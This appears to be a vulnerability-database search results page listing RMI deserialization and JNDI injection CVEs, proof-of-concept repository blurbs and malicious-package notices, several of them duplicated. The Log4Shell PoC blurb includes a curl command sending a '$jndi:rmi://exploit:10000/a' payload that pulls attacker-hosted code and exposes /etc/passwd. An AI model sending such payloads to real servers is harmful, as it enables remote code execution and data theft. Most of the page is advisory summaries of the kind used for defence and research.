35 matches found
CVE-2021-26295-Apache-OFBiz
CVE-2021-26295-Apache-OFBiz CVE-2021-26295 Apache OFBiz rmi 역직렬화 POC ysoserial.jar를 디렉토리에 배치해야 하며, Java의 높은 버전을 사용할 수 없습니다...
cve-2021-44228--spring-hibernate
CVE-2021-44228 POC - Spring / Hibernate 이 POC는 Spring / Hibernate를 사용하지만, rmi - 역직렬화와 유사한 접근 방식으로 모든 역직렬화 취약점을 트리거하는 데 사용될 수 있습니다 TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 피해자의 /etc/passwd 내용이...
CVE-2022-29063
CVE-2022-29063: Apache OfBiz의 RMI 연결을 통한 Java 역직렬화 OfBiz Solr 플러그인은 기본적으로 localhost의 1099 포트로 RMI 요청을 자동으로 보내도록 구성되어 있습니다. 공격자는 localhost에서 악의적인 RMI 서버를 호스팅하여 서버 시작 시 또는 서버 재시작 시 이 동작을 악용함으로써 OfBiz를 시작한 사용자의 권한으로 임의 코드를 실행하고 잠재적으로 권한을 상승시킬 수 있습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수...
Jmeter-CVE-2018-1297-
Jmeter RMI Deserialization Command Execution Vulnerability CVE-2018-1297 Apache JMeter is an open-source software suite written in Java by the American Apache Software Foundation for stress testing and performance testing. Versions 2.x and 3.x contain a deserialization vulnerability that allows a...
CVE-2026-33728
dd-trace-java is a Datadog APM client for Java. In versions of dd-trace-java 0.40.0 through prior to 1.60.2, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access ...
CVE-2026-33728
dd-trace-java is a Datadog APM client for Java. In versions of dd-trace-java 0.40.0 through prior to 1.60.2, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access ...
CVE-2026-33701
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and...
CVE-2026-33701 OpenTelemetry: Unsafe Deserialization in RMI Instrumentation may Lead to Remote Code Execution
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and...
dd-trace-java: Unsafe deserialization in RMI instrumentation may lead to remote code execution
In versions of dd-trace-java prior to 1.60.3, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this ...
EUVD-2022-6906
Malicious code in bioql PyPI...
EUVD-2025-29205
Malicious code in bioql PyPI...
EUVD-2022-2771
Malicious code in bioql PyPI...
CVE-2025-58046
Dataease is an open-source data visualization and analysis platform. In versions up to and including 2.10.12, the Impala data source is vulnerable to remote code execution due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can construct...
CVE-2025-58046
Dataease is an open-source data visualization and analysis platform. In versions up to and including 2.10.12, the Impala data source is vulnerable to remote code execution due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can construct...
CVE-2025-58046 Dataease has a JDBC attack vulnerability in the Impala datasource
Dataease is an open-source data visualization and analysis platform. In versions up to and including 2.10.12, the Impala data source is vulnerable to remote code execution due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can construct...
CVE-2025-58046 Dataease has a JDBC attack vulnerability in the Impala datasource
Dataease is an open-source data visualization and analysis platform. In versions up to and including 2.10.12, the Impala data source is vulnerable to remote code execution due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can construct...
CVE-2025-58046
Dataease CVE-2025-58046 affects the Impala data source in versions up to 2.10.12 due to insufficient filtering in getJdbc. An attacker can craft a JDBC connection string that triggers JNDI injection and RMI deserialization, enabling remote command execution. Remediation is to upgrade to 2.10.13 o...
CVE-2025-58046 Dataease has a JDBC attack vulnerability in the Impala datasource
Dataease is an open-source data visualization and analysis platform. In versions up to and including 2.10.12, the Impala data source is vulnerable to remote code execution due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can construct...
CVE-2021-37578
Apache jUDDI uses several classes related to Java's Remote Method Invocation RMI which as an extension to UDDI provides an alternate transport for accessing UDDI services. RMI uses the default Java serialization mechanism to pass parameters in RMI invocations. A remote attacker can send a malicio...